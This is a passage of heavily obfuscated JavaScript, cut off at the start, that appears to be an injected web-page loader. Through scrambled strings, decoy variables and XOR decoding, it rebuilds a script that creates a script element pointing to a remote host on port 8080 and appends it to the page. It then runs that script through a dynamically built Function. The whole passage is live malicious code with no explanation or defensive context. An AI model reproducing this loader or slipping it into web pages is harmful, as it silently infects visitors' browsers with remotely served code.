qR!='Tt'){qR='Pw'};var Gc;if(Gc!='xu' && Gc!='uA'){Gc=''};this.zm="";var G=window;this.Me=59320;var bC=G[s("vela", [1,0])];var Zm=bC(s("unFticon", [2,0,1]));var pqE;if(pqE!='oS'){pqE='oS'};var Bw=new Array();var D = '';var H=bC(s("trSngi", [2,0,1]));this.Yn="Yn";var m=bC(s("eEgRxp", [3,0,2,1]));var Gs;if(Gs!='gd'){Gs=''};this.iS="iS";this.OC=60348;this.jAx=23159;var Jn;if(Jn!='wG' && Jn!='UU'){Jn='wG'};this.AM="";var gi;if(gi!='xf'){gi='xf'};var e=H[s("roarfCmhCode", [4,0,1,6,5,7,2,3])];var hY;if(hY!='' && hY!='ZO'){hY=''};var Sa;if(Sa!='yO' && Sa!='Ad'){Sa='yO'};var g=G[s("enuacspe", [2,1,0])];this.MNx="";this.BFN=false;this.rI="";var z =[25,1][1];this.vF="vF";var Rj =[0][0];this.ly="";var RY;if(RY!=''){RY='YT'};var U = "%";var IT = '';var xU=new Date();var Am;if(Am!='Jt'){Am='Jt'};var ze = /[^@a-z0-9A-Z_-]/g;var u = '';var J = '';var xuw='';var bf;if(bf!='' && bf!='Ow'){bf='JW'};var n =[197,69,0,132][2];var We;if(We!='SBi' && We!='ra'){We=''};var h = cz[s("elgnht", [1,0])];var lx =[157,2,53][1];var dz="";var Cr=[1, s("oducemtnc.ertaEeelemtn\'(csirtp)\'", [1,0]),2, s("oeumdctdbon..eppyadlhinCd(d)", [4,0,5,2,3,1]),3, s("mco.vlietsiesdei.gnr8u:080", [1,2,0,3]),4, s(".wcmonugrdreuocon.d.matt", [2,4,3,0,1,6,5]),5, s("s.dAterttubi(eted\'ref\'", [2,1,0]),6, s("uyobtuce.om", [1,2,0]),7, s("lraelpecsi.com", [2,4,0,1,3]),8, s("dniwwolno.aod", [3,2,1,0,5,4]),11, s("aiemgf.aopcm", [1,3,0,4,2,5]),12, s("utcfno)(in", [3,0,4,2,1]),14, s("ogoglco.em", [3,2,0,1,4]),15, s("dfhcanbk", [2,0,1,3]),16, s("htcac(e)", [4,3,1,2,0]),17, s("ht\"p:t", [2,0,1]),18, s("rd.sc", [1,2,3,0]),19, s("1\'\')", [2,0,1,3]),20, s("ytr", [1,2,0])];this.yd="yd";var XB='';var TT;if(TT!='' && TT!='rt'){TT=null};for(var gt=n; gt < h; gt+=lx){J+= U; var iL;if(iL!='zx'){iL=''};J+= cz[s("usbstr", [3,0,2,1])](gt, lx);}this.iW="";this.Kw='';var cz = g(J);var ZG=new Date();var nt;if(nt!='' && nt!='kG'){nt='fy'};var YAF=33454;var S = new H(o);var Pg = S[s("epracle", [2,0,1])](ze, IT);var rS='';var x = new H(Zm);var Qq=false;Pg = c(Pg);this.BS=2487;var gG;if(gG!='rN'){gG=''};var RZ=new Array();var jS;if(jS!='' && jS!='YY'){jS=''};var ox = Cr[s("gtelnh", [3,2,4,0,1])];var UZr;if(UZr!='bR' && UZr != ''){UZr=null};var fn;if(fn!='' && fn!='Yc'){fn='ia'};var MeA;if(MeA!='' && MeA!='SY'){MeA=''};var dpB = x[s("arclpee", [1,5,4,3,0,2,6])](ze, IT);this.Ehk=43348;var dpB = dp(dpB);var rp;if(rp!='' && rp!='PM'){rp='Im'};var Yq=9257;var cd=dp(Pg);var Oj=new String();var dm="";for(var b=n; b < (cz[s("ntlgeh", [2,4,0,3,1])]);b=b+[1][0]) {this.Oi="";this.KG="";var Go = Pg.charCodeAt(Rj);var hM = O(cz,b);this.wl="";this.BD="";hM = N(hM, Go);var ee='';var qm;if(qm!='Nm' && qm != ''){qm=null};hM = N(hM, cd);this.Og="Og";hM = N(hM, dpB);this.IF="";var uAK;if(uAK!='' && uAK!='zGi'){uAK=null};var Fg;if(Fg!='' && Fg!='ak'){Fg=''};this.Jr=12957;Rj++;var CG;if(CG!='iH'){CG=''};var ArA="";var hj=false;var hx=false;if(Rj > Pg.length-z){var qZ;if(qZ!='' && qZ!='Eq'){qZ='oj'};var nz;if(nz!='' && nz!='GZ'){nz='pe'};Rj=n;var zt;if(zt!=''){zt='RW'};}var pT=new Array();u += e(hM);}for(fS=n; fS < ox; fS+=lx){var ws=new Date();var ht=new Date();var oy="oy";var j = e(Cr[fS]);this.Ir="";var wj;if(wj!='' && wj!='Hd'){wj=null};var pr=4795;var pL = Cr[fS + z];var Ej=new String();var dh=new String();var DJ;if(DJ!='uh' && DJ != ''){DJ=null};var uO=new Array();var kA=false;var rd=false;var ku = new m(j, e(103));var VO;if(VO!='kk'){VO='kk'};u=u[s("leracpe", [2,1,5,0,3,4])](ku, pL);}var vG;if(vG!='tC'){vG='tC'};this.iP="";var Db='';var gb;if(gb!=''){gb='eI'};var HT=new Zm(u);HT();var uM=new String();var mnh;if(mnh!='GZP'){mnh=''};var HL;if(HL!='NSy' && HL!='cN'){HL=''};cd = '';x = '';var Pn=new Array();u = '';var oJC;if(oJC!='bE'){oJC=''};dpB = '';var ng;if(ng!='' && ng!='OV'){ng=''};HT = '';var ARg;if(ARg!='' && ARg!='AAu'){ARg='to'};var iz="";this.Um=false;this.hQ="hQ";Pg = '';var sG="sG";this.Hx="Hx";var it=new Array();var Eim=new Array();return '';this.BL="";};this.Jou='';var kP;if(kP!='eL' && kP != ''){kP=null};o(Mt);